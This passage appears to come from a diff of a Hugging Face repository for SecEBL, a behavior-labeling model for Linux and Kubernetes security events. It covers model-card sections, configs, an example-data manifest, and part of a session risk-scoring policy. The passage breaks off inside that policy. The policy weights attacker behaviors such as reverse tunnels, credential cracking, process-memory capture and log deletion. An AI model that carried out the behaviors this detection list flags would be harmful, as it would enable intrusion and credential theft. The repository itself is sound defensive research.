371
+
372
+ ## L2 Artifact
373
+
374
+ This repository includes an experimental fitted L2 session scorer so the
375
+ companion GitHub `scripts/run_examples.sh` can run the public Linux and K8s L1
376
+ examples, plus Linux example-session scoring, when this model directory is used
377
+ as `MODEL_DIR`.
378
+
379
+ In this release, a **session** is a sequence of events grouped by `session_id`.
380
+ L1 labels each event independently. L2 scores the whole session by aggregating
381
+ cached L1 ranked tags, retrieval scores, tag diversity, behavior transitions,
382
+ and routine-operation context. The L2 output is a session-level verdict such as
383
+ `intrusion` or `normal_operation`, not a replacement for per-command behavior
384
+ tags.
385
+
386
+ For compatibility with the released L2 artifact, L2 derives its session
387
+ features from cached L1 `top_labels` using an internal selected-tag feature
388
+ path. In plain terms, L2 filters the cached ranked labels inside its own feature
389
+ builder before session scoring. This does not change L1 prediction output:
390
+ users still receive ranked `top_labels`, not a selected `behavior_tags` field.
391
+
392
+ Runtime L2 does not use raw command text, user names, host names, or session ids
393
+ as scoring features. Session ids may appear in private data-prep workflows for
394
+ label assignment, but they are not runtime allow/deny lists.
395
+
396
+ Internal L2 summary:
397
+
398
+ | Check | Result |
399
+ | --- | ---: |
400
+ | Withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
401
+ | 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
402
+ | OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
403
+
404
+ The 7M pressure-stream result was measured on real background telemetry plus
405
+ embedded synthetic attack sessions. The underlying rows and real session
406
+ identifiers are not redistributed. The included L2 artifact is a
407
+ research/reproducibility component, not a general production IDS claim.
408
+
409
+ ## Direct SentenceTransformers Loading
410
+
411
+ You can load the embedding model directly:
412
+
413
+ ```python
414
+ from sentence_transformers import SentenceTransformer
415
+
416
+ model = SentenceTransformer("willchen0011/SecEBL")
417
+ ```
418
+
419
+ Direct loading gives you the encoder only. SecEBL is a retrieval-style labeler:
420
+ encode the event, encode or load the Rev20 semantic label texts from
421
+ `semantic_texts.jsonl`, rank labels by cosine similarity, and save the top-k
422
+ labels. For normal use, prefer the companion GitHub helpers because they keep
423
+ the prompt profile, semantic text loading, top-k output format, and optional L2
424
+ feature path aligned with this release.
425
+
426
+ ## Intended Use
427
+
428
+ - Research and evaluation of security-event behavior labeling.
429
+ - Internal security detection, investigation, and triage for systems an
430
+ organization owns, operates, administers, or is explicitly authorized to
431
+ defend.
432
+ - Building session-level risk scoring over SecEBL behavior-label streams.
433
+
434
+ ## Out Of Scope
435
+
436
+ - Standalone verdicting on a single event.
437
+ - Authorization or policy-compliance decisions without human validation.
438
+ - Monitoring systems you are not authorized to defend.
439
+
440
+ ## License
441
+
442
+ This Hugging Face repository is released under **Apache License 2.0**.
443
+
444
+ The base model is `Alibaba-NLP/gte-modernbert-base`, which is also Apache-2.0.
445
+ Source code, schemas, public examples, public documentation, helper scripts,
446
+ model artifacts, and the experimental L2 artifact are Apache-2.0 unless a file
447
+ explicitly states otherwise.
config.json ADDED
@@ -0,0 +1,45 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "architectures": [
3
+ "ModernBertModel"
4
+ ],
5
+ "attention_bias": false,
6
+ "attention_dropout": 0.0,
7
+ "bos_token_id": 50281,
8
+ "classifier_activation": "gelu",
9
+ "classifier_bias": false,
10
+ "classifier_dropout": 0.0,
11
+ "classifier_pooling": "mean",
12
+ "cls_token_id": 50281,
13
+ "decoder_bias": true,
14
+ "deterministic_flash_attn": false,
15
+ "dtype": "float32",
16
+ "embedding_dropout": 0.0,
17
+ "eos_token_id": 50282,
18
+ "global_attn_every_n_layers": 3,
19
+ "global_rope_theta": 160000.0,
20
+ "gradient_checkpointing": false,
21
+ "hidden_activation": "gelu",
22
+ "hidden_size": 768,
23
+ "initializer_cutoff_factor": 2.0,
24
+ "initializer_range": 0.02,
25
+ "intermediate_size": 1152,
26
+ "layer_norm_eps": 1e-05,
27
+ "local_attention": 128,
28
+ "local_rope_theta": 10000.0,
29
+ "max_position_embeddings": 8192,
30
+ "mlp_bias": false,
31
+ "mlp_dropout": 0.0,
32
+ "model_type": "modernbert",
33
+ "norm_bias": false,
34
+ "norm_eps": 1e-05,
35
+ "num_attention_heads": 12,
36
+ "num_hidden_layers": 22,
37
+ "pad_token_id": 50283,
38
+ "position_embedding_type": "absolute",
39
+ "repad_logits_with_grad": false,
40
+ "sep_token_id": 50282,
41
+ "sparse_pred_ignore_index": -100,
42
+ "sparse_prediction": false,
43
+ "transformers_version": "4.57.6",
44
+ "vocab_size": 50368
45
+ }
config_sentence_transformers.json ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "__version__": {
3
+ "sentence_transformers": "3.4.1",
4
+ "transformers": "4.57.6",
5
+ "pytorch": "2.9.0+cu130"
6
+ },
7
+ "prompts": {},
8
+ "default_prompt_name": null,
9
+ "similarity_fn_name": "cosine"
10
+ }
examples/README.md ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # SecEBL Public Final Benchmark Examples
2
+
3
+ This directory contains publicly releasable example data for verifying the
4
+ release code path: a subset of the internal Linux final benchmark plus
5
+ normalized Kubernetes AuditLog examples.
6
+
7
+ **The full internal benchmark, training corpora, private pressure-stream rows,
8
+ and removed sensitive benchmark sessions are not distributed in this GitHub
9
+ repository.**
10
+
11
+ The `*_gold.rev20.jsonl` filenames are kept for compatibility. In this release,
12
+ they are the expected Rev20 behavior-tag labels for this public benchmark
13
+ subset.
14
+
15
+ - `linux/example_sessions.jsonl`: 10,520 Linux command-session rows from 531
16
+ public subset sessions.
17
+ - `linux/example_gold.rev20.jsonl`: matching Rev20 behavior tags for the same
18
+ 10,520 rows.
19
+ - `k8s/example_sessions.jsonl`: 144 normalized Kubernetes AuditLog rows across
20
+ 46 sessions.
21
+ - `k8s/example_gold.rev20.jsonl`: matching Rev20 behavior tags for the same 144
22
+ K8s rows, with 163 behavior-label instances and 27 unique behavior tags.
23
+
24
+ Session-level labels use English enums: `normal_operation` and `intrusion`.
examples/k8s/example_gold.rev20.jsonl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:fdf777b5fd1e7e6d4bd85276ce0125ec4f7462d849ac78deea75c73000b16cd8
3
+ size 99593
examples/k8s/example_sessions.jsonl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:8913939e98a9d7f09a6eab49a32dd914f5df6e399b3c072e917b489db89a65c2
3
+ size 60154
examples/linux/example_gold.rev20.jsonl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:c33ddca9a70f4b7ccaca3f3eef69fa3a6e35bc0788ba70853c115aaf62a18bf8
3
+ size 7428269
examples/linux/example_sessions.jsonl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:286315f744ba0fe571ed419f380c38a8fdf83af8b629ed35aa5603085a5f1290
3
+ size 1880555
examples/manifest.json ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "k8s": {
3
+ "behavior_label_instances": 163,
4
+ "files": [
5
+ "examples/k8s/example_sessions.jsonl",
6
+ "examples/k8s/example_gold.rev20.jsonl"
7
+ ],
8
+ "intrusion_rows": 72,
9
+ "normal_rows": 72,
10
+ "rows": 144,
11
+ "rows_with_behavior_labels": 144,
12
+ "sessions": 46,
13
+ "source": "public normalized Kubernetes AuditLog examples with public-only metadata",
14
+ "unique_behavior_labels": 27
15
+ },
16
+ "linux": {
17
+ "behavior_label_instances": 14807,
18
+ "files": [
19
+ "examples/linux/example_sessions.jsonl",
20
+ "examples/linux/example_gold.rev20.jsonl"
21
+ ],
22
+ "intrusion_rows": 7586,
23
+ "normal_rows": 2934,
24
+ "rows": 10520,
25
+ "rows_with_behavior_labels": 10019,
26
+ "sessions": 531,
27
+ "source": "publicly releasable subset of the internal Linux final benchmark; session labels normalized to English enums",
28
+ "unique_behavior_labels": 349
29
+ },
30
+ "note": "The full internal benchmark is larger and is not redistributed in this repository; these examples are the public subset used for runnable release verification.",
31
+ "schema": "secebl_public_examples_manifest_v2"
32
+ }
l2_artifacts/README.md ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # SecEBL-Rev20 L2 Artifact
2
+
3
+ This directory contains the minimal public L2 artifact bundle for SecEBL-Rev20.
4
+ It is included so the companion GitHub `scripts/run_examples.sh` can run the
5
+ public Linux benchmark-subset session scoring path by default when this Hugging
6
+ Face model snapshot is used as `MODEL_DIR`.
7
+
8
+ ## Files
9
+
10
+ | Path | Purpose |
11
+ | --- | --- |
12
+ | `logreg.joblib` | Fitted logistic-regression L2 session-risk model. |
13
+ | `tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
14
+ | `train_summary.json` | Public aggregate training/evaluation summary with no raw rows or real session identifiers. |
15
+
16
+ The release does not include the L2 training JSONL, raw pressure-stream archive,
17
+ full internal sessions, per-session pressure results, alert JSONL, source-code
18
+ copies, or private run logs. This repository includes the public benchmark
19
+ subset under `examples/linux/`; use the companion GitHub repository for source
20
+ code and the one-command runner.
21
+
22
+ ## Scope
23
+
24
+ L2 is an experimental session scorer. A session is a sequence of events grouped
25
+ by `session_id`. L1 labels each event independently; L2 scores the whole session
26
+ by aggregating cached L1 ranked tags, retrieval scores, tag diversity, behavior
27
+ transitions, and routine-operation context.
28
+
29
+ Runtime L2 does not use raw command text, user names, host names, or session ids
30
+ as scoring features. Session ids may appear in private data-prep workflows for
31
+ label assignment, but they are not runtime allow/deny lists.
32
+
33
+ For compatibility with the released L2 artifact, L2 derives its session
34
+ features from cached L1 `top_labels` using an internal selected-tag feature
35
+ path. This does not change L1 prediction output: users still receive ranked
36
+ `top_labels`, not a selected `behavior_tags` field.
37
+
38
+ ## Public Summary
39
+
40
+ | Check | Result |
41
+ | --- | ---: |
42
+ | Fitted withheld Linux session benchmark | 663 sessions, 365 TP, 298 TN, 0 FP, 0 FN |
43
+ | 7M pressure-stream fit-check | 6,286,568 rows, 102,117 sessions, 61 alert sessions |
44
+ | OOF validation | 5,747 sessions, 99.39% accuracy, 96.44% attack precision, 95.31% attack recall |
45
+
46
+ The high session benchmark accuracy is scoped to the current fitted internal
47
+ experiment. It is evidence that this L2 setup works well on the current complex
48
+ internal benchmark and pressure-data fit-check, not an independent claim of
49
+ general production IDS accuracy.
50
+
51
+ Use the companion GitHub helpers so feature extraction matches the released L2
52
+ artifact.
l2_artifacts/logreg.joblib ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:daf76830fdb47d83f3e6f161e9876b514138b12e8c3118aabf0b0cdd6f1947c6
3
+ size 171046
l2_artifacts/tag_risk_policy.rev20.json ADDED
@@ -0,0 +1,1207 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "alert_markers": [
3
+ "anti_forensic",
4
+ "boundary_cross",
5
+ "business_sensitive",
6
+ "cloud_identity",
7
+ "cloud_remote_execution",
8
+ "credential_access",
9
+ "destructive",
10
+ "egress",
11
+ "identity_policy",
12
+ "ingress_execution",
13
+ "persistence",
14
+ "recon",
15
+ "sensitive_access",
16
+ "remote_access"
17
+ ],
18
+ "config_id": "rev20_tag_risk_policy_v11",
19
+ "group_defaults": {
20
+ "cloud_control_plane": {
21
+ "base_points": 0.85,
22
+ "family": "cloud_control"
23
+ },
24
+ "configuration_and_log_modification": {
25
+ "base_points": 0.55,
26
+ "family": "mutation"
27
+ },
28
+ "containers_and_cloud_native": {
29
+ "base_points": 0.65,
30
+ "family": "boundary_cross"
31
+ },
32
+ "database_and_infrastructure_services": {
33
+ "base_points": 0.45,
34
+ "family": "operational_access"
35
+ },
36
+ "execution_and_process": {
37
+ "base_points": 0.75,
38
+ "family": "execution"
39
+ },
40
+ "filesystem_and_data": {
41
+ "base_points": 0.6,
42
+ "family": "data_movement"
43
+ },
44
+ "identity_auth_and_secrets": {
45
+ "base_points": 1.0,
46
+ "family": "credential_access"
47
+ },
48
+ "kernel_memory_and_tracing": {
49
+ "base_points": 1.1,
50
+ "family": "privilege"
51
+ },
52
+ "network": {
53
+ "base_points": 0.8,
54
+ "family": "network_recon"
55
+ },
56
+ "observation_and_discovery": {
57
+ "base_points": 0.35,
58
+ "family": "recon"
59
+ },
60
+ "package_build_and_source": {
61
+ "base_points": 0.25,
62
+ "family": "benign_context"
63
+ },
64
+ "persistence_services_and_storage": {
65
+ "base_points": 0.7,
66
+ "family": "persistence"
67
+ }
68
+ },
69
+ "max_tags_per_command": 4,
70
+ "min_tag_score": 0.55,
71
+ "multi_label_gap": 0.12,
72
+ "notes": "Rev20 flat behavior-tag session risk policy. L2 derives session features from cached L1 top_labels using an internal tag-selection path that matches the released L2 model artifact. This does not change L1 prediction output: users still receive ranked top_labels, not a selected behavior_tags field. Tag-level points describe intrinsic behavior risk; session-level aggregation combines evidence, diversity, routine maintenance, and professional operations context. scoring_professional_operations is a negative context signal only when professional tags are dominant, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. It is not a command or tag whitelist.",
73
+ "operational_context_markers": [
74
+ "cloud_identity",
75
+ "identity_policy",
76
+ "recon",
77
+ "sensitive_access"
78
+ ],
79
+ "severe_families": [
80
+ "credential_access",
81
+ "identity_policy",
82
+ "persistence",
83
+ "anti_forensic",
84
+ "boundary_cross",
85
+ "cloud_identity",
86
+ "cloud_remote_execution",
87
+ "data_egress",
88
+ "destructive",
89
+ "execution_bootstrap",
90
+ "privilege",
91
+ "sensitive_access",
92
+ "remote_access"
93
+ ],
94
+ "tag_overrides": {
95
+ "apply_infrastructure_template": {
96
+ "family": "cloud_control",
97
+ "operational": true,
98
+ "points": 0.8
99
+ },
100
+ "archive_sensitive_content": {
101
+ "family": "data_egress",
102
+ "markers": [
103
+ "egress",
104
+ "business_sensitive"
105
+ ],
106
+ "points": 2.5
107
+ },
108
+ "attempt_remote_authentication": {
109
+ "family": "identity_policy",
110
+ "markers": [
111
+ "identity_policy"
112
+ ],
113
+ "points": 2.2
114
+ },
115
+ "attach_process_debugger": {
116
+ "family": "privilege",
117
+ "markers": [
118
+ "boundary_cross"
119
+ ],
120
+ "points": 2.2
121
+ },
122
+ "capture_network_packets": {
123
+ "family": "sensitive_access",
124
+ "markers": [
125
+ "sensitive_access"
126
+ ],
127
+ "points": 1.6
128
+ },
129
+ "capture_process_memory": {
130
+ "family": "collection",
131
+ "markers": [
132
+ "credential_access"
133
+ ],
134
+ "points": 3.5
135
+ },
136
+ "clear_shell_history": {
137
+ "family": "anti_forensic",
138
+ "markers": [
139
+ "anti_forensic"
140
+ ],
141
+ "points": 2.6
142
+ },
143
+ "clear_login_history": {
144
+ "family": "anti_forensic",
145
+ "markers": [
146
+ "anti_forensic"
147
+ ],
148
+ "points": 3.0
149
+ },
150
+ "crack_credential_material": {
151
+ "family": "credential_access",
152
+ "markers": [
153
+ "credential_access"
154
+ ],
155
+ "points": 3.0
156
+ },
157
+ "create_cluster_secret": {
158
+ "family": "credential_access",
159
+ "markers": [
160
+ "credential_access"
161
+ ],
162
+ "points": 2.1
163
+ },
164
+ "create_credential_material": {
165
+ "family": "credential_access",
166
+ "points": 1.2
167
+ },
168
+ "create_privileged_container": {
169
+ "family": "boundary_cross",
170
+ "markers": [
171
+ "boundary_cross"
172
+ ],
173
+ "points": 3.0
174
+ },
175
+ "create_cloud_access_key": {
176
+ "family": "cloud_identity",
177
+ "markers": [
178
+ "credential_access",
179
+ "cloud_identity"
180
+ ],
181
+ "points": 3.4
182
+ },
183
+ "create_dynamic_proxy": {
184
+ "family": "remote_access",
185
+ "markers": [
186
+ "remote_access"
187
+ ],
188
+ "points": 2.9
189
+ },
190
+ "create_forward_tunnel": {
191
+ "family": "remote_access",
192
+ "markers": [
193
+ "remote_access"
194
+ ],
195
+ "points": 2.8
196
+ },
197
+ "create_reverse_tunnel": {
198
+ "family": "remote_access",
199
+ "markers": [
200
+ "remote_access"
201
+ ],
202
+ "points": 3.5
203
+ },
204
+ "create_scheduled_task": {
205
+ "family": "persistence",
206
+ "markers": [
207
+ "persistence"
208
+ ],
209
+ "points": 2.8
210
+ },
211
+ "create_special_filesystem_node": {
212
+ "family": "data_movement",
213
+ "points": 1.4
214
+ },
215
+ "create_systemd_unit": {
216
+ "family": "persistence",
217
+ "markers": [
218
+ "persistence"
219
+ ],
220
+ "points": 2.9
221
+ },
222
+ "delete_audit_log": {
223
+ "family": "anti_forensic",
224
+ "markers": [
225
+ "anti_forensic"
226
+ ],
227
+ "points": 3.4
228
+ },
229
+ "delete_business_log": {
230
+ "family": "anti_forensic",
231
+ "markers": [
232
+ "anti_forensic"
233
+ ],
234
+ "points": 2.8
235
+ },
236
+ "delete_cloud_resource": {
237
+ "family": "destructive",
238
+ "markers": [
239
+ "destructive"
240
+ ],
241
+ "points": 2.2
242
+ },
243
+ "delete_credential_material": {
244
+ "family": "destructive",
245
+ "markers": [
246
+ "credential_access",
247
+ "destructive"
248
+ ],
249
+ "points": 2.8
250
+ },
251
+ "delete_database": {
252
+ "family": "destructive",
253
+ "markers": [
254
+ "destructive"
255
+ ],
256
+ "points": 2.8
257
+ },
258
+ "delete_database_data": {
259
+ "family": "destructive",
260
+ "markers": [
261
+ "destructive"
262
+ ],
263
+ "points": 2.7
264
+ },
265
+ "delete_object_storage": {
266
+ "family": "destructive",
267
+ "markers": [
268
+ "destructive"
269
+ ],
270
+ "points": 2.8
271
+ },
272
+ "delete_secret_store": {
273
+ "family": "destructive",
274
+ "markers": [
275
+ "credential_access",
276
+ "destructive"
277
+ ],
278
+ "points": 2.7
279
+ },
280
+ "delete_systemd_unit": {
281
+ "family": "persistence",
282
+ "markers": [
283
+ "persistence"
284
+ ],
285
+ "points": 2.1
286
+ },
287
+ "delete_infrastructure_log": {
288
+ "family": "anti_forensic",
289
+ "markers": [
290
+ "anti_forensic"
291
+ ],
292
+ "points": 3.0
293
+ },
294
+ "delete_system_log": {
295
+ "family": "anti_forensic",
296
+ "markers": [
297
+ "anti_forensic"
298
+ ],
299
+ "points": 3.0
300
+ },
301
+ "download_external_content": {
302
+ "family": "data_movement",
303
+ "markers": [
304
+ "ingress_execution"
305
+ ],
306
+ "points": 1.2
307
+ },
308
+ "enumerate_packages": {
309
+ "benign": true,
310
+ "family": "benign_context",
311
+ "points": -0.05
312
+ },
313
+ "execute_cloud_compute": {
314
+ "family": "cloud_remote_execution",
315
+ "markers": [
316
+ "cloud_remote_execution",
317
+ "boundary_cross"
318
+ ],
319
+ "points": 3.0
320
+ },
321
+ "execute_encoded_command": {
322
+ "family": "execution_bootstrap",
323
+ "markers": [
324
+ "ingress_execution"
325
+ ],
326
+ "points": 2.6
327
+ },
328
+ "execute_downloaded_content": {
329
+ "family": "execution_bootstrap",
330
+ "markers": [
331
+ "ingress_execution"
332
+ ],
333
+ "points": 3.8
334
+ },
335
+ "execute_from_temporary_path": {
336
+ "family": "execution_bootstrap",
337
+ "markers": [
338
+ "ingress_execution"
339
+ ],
340
+ "points": 2.1
341
+ },
342
+ "execute_from_user_writable_path": {
343
+ "family": "execution_bootstrap",
344
+ "markers": [
345
+ "ingress_execution"
346
+ ],
347
+ "points": 1.9
348
+ },
349
+ "execute_in_chroot": {
350
+ "family": "boundary_cross",
351
+ "markers": [
352
+ "boundary_cross"
353
+ ],
354
+ "points": 2.6
355
+ },
356
+ "execute_remote_command": {
357
+ "family": "remote_access",
358
+ "markers": [
359
+ "remote_access"
360
+ ],
361
+ "points": 1.9
362
+ },
363
+ "format_filesystem": {
364
+ "family": "destructive",
365
+ "markers": [
366
+ "destructive"
367
+ ],
368
+ "points": 2.7
369
+ },
370
+ "grant_cloud_privilege": {
371
+ "family": "cloud_identity",
372
+ "markers": [
373
+ "identity_policy",
374
+ "cloud_identity"
375
+ ],
376
+ "points": 3.3
377
+ },
378
+ "grant_cluster_privilege": {
379
+ "family": "identity_policy",
380
+ "markers": [
381
+ "identity_policy"
382
+ ],
383
+ "points": 2.4
384
+ },
385
+ "grant_database_privilege": {
386
+ "family": "identity_policy",
387
+ "markers": [
388
+ "identity_policy"
389
+ ],
390
+ "points": 2.2
391
+ },
392
+ "grant_infrastructure_privilege": {
393
+ "family": "identity_policy",
394
+ "markers": [
395
+ "identity_policy"
396
+ ],
397
+ "points": 2.1
398
+ },
399
+ "grant_user_privilege": {
400
+ "family": "identity_policy",
401
+ "markers": [
402
+ "identity_policy"
403
+ ],
404
+ "points": 2.8
405
+ },
406
+ "listen_network_port": {
407
+ "family": "remote_access",
408
+ "markers": [
409
+ "remote_access"
410
+ ],
411
+ "points": 2.6
412
+ },
413
+ "inject_process_code": {
414
+ "explicit_attack": true,
415
+ "family": "privilege",
416
+ "markers": [
417
+ "boundary_cross"
418
+ ],
419
+ "points": 4.2
420
+ },
421
+ "inspect_network_state": {
422
+ "benign": true,
423
+ "family": "benign_context",
424
+ "points": -0.1
425
+ },
426
+ "inspect_storage_state": {
427
+ "benign": true,
428
+ "family": "benign_context",
429
+ "points": -0.1
430
+ },
431
+ "inspect_system_state": {
432
+ "benign": true,
433
+ "family": "benign_context",
434
+ "points": -0.15
435
+ },
436
+ "install_package": {
437
+ "family": "benign_context",
438
+ "operational": true,
439
+ "points": 0.1
440
+ },
441
+ "install_boot_persistence": {
442
+ "family": "persistence",
443
+ "markers": [
444
+ "persistence"
445
+ ],
446
+ "points": 3.4
447
+ },
448
+ "load_ebpf_program": {
449
+ "family": "privilege",
450
+ "markers": [
451
+ "boundary_cross"
452
+ ],
453
+ "points": 2.5
454
+ },
455
+ "load_kernel_module": {
456
+ "family": "privilege",
457
+ "markers": [
458
+ "boundary_cross"
459
+ ],
460
+ "points": 2.5
461
+ },
462
+ "modify_audit_policy": {
463
+ "family": "identity_policy",
464
+ "markers": [
465
+ "identity_policy"
466
+ ],
467
+ "points": 2.4
468
+ },
469
+ "modify_auth_policy": {
470
+ "family": "identity_policy",
471
+ "markers": [
472
+ "identity_policy"
473
+ ],
474
+ "points": 3.2
475
+ },
476
+ "modify_cloud_identity_policy": {
477
+ "family": "cloud_identity",
478
+ "markers": [
479
+ "cloud_identity",
480
+ "identity_policy"
481
+ ],
482
+ "points": 3.0
483
+ },
484
+ "modify_cloud_secret": {
485
+ "family": "credential_access",
486
+ "markers": [
487
+ "cloud_identity",
488
+ "credential_access"
489
+ ],
490
+ "points": 2.8
491
+ },
492
+ "modify_cluster_auth_policy": {
493
+ "family": "identity_policy",
494
+ "markers": [
495
+ "identity_policy"
496
+ ],
497
+ "points": 2.6
498
+ },
499
+ "modify_cluster_secret": {
500
+ "family": "credential_access",
501
+ "markers": [
502
+ "credential_access"
503
+ ],
504
+ "points": 2.2
505
+ },
506
+ "modify_critical_system_path": {
507
+ "family": "privilege",
508
+ "markers": [
509
+ "boundary_cross"
510
+ ],
511
+ "points": 2.6
512
+ },
513
+ "modify_database_account": {
514
+ "family": "identity_policy",
515
+ "markers": [
516
+ "identity_policy"
517
+ ],
518
+ "points": 2.0
519
+ },
520
+ "modify_dynamic_loader": {
521
+ "family": "persistence",
522
+ "markers": [
523
+ "persistence"
524
+ ],
525
+ "points": 3.2
526
+ },
527
+ "modify_mount_state": {
528
+ "family": "operational_access",
529
+ "operational": true,
530
+ "points": 0.4
531
+ },
532
+ "mount_remote_filesystem": {
533
+ "family": "operational_access",
534
+ "operational": true,
535
+ "points": 0.5
536
+ },
537
+ "modify_file_timestamp": {
538
+ "family": "anti_forensic",
539
+ "markers": [
540
+ "anti_forensic"
541
+ ],
542
+ "points": 2.6
543
+ },
544
+ "modify_firewall_policy": {
545
+ "family": "identity_policy",
546
+ "markers": [
547
+ "identity_policy"
548
+ ],
549
+ "points": 2.4
550
+ },
551
+ "modify_infrastructure_account": {
552
+ "family": "identity_policy",
553
+ "markers": [
554
+ "identity_policy"
555
+ ],
556
+ "points": 1.9
557
+ },
558
+ "modify_pam_policy": {
559
+ "family": "identity_policy",
560
+ "markers": [
561
+ "identity_policy"
562
+ ],
563
+ "points": 3.5
564
+ },
565
+ "modify_process_memory": {
566
+ "family": "privilege",
567
+ "markers": [
568
+ "boundary_cross"
569
+ ],
570
+ "points": 3.8
571
+ },
572
+ "modify_kernel_memory": {
573
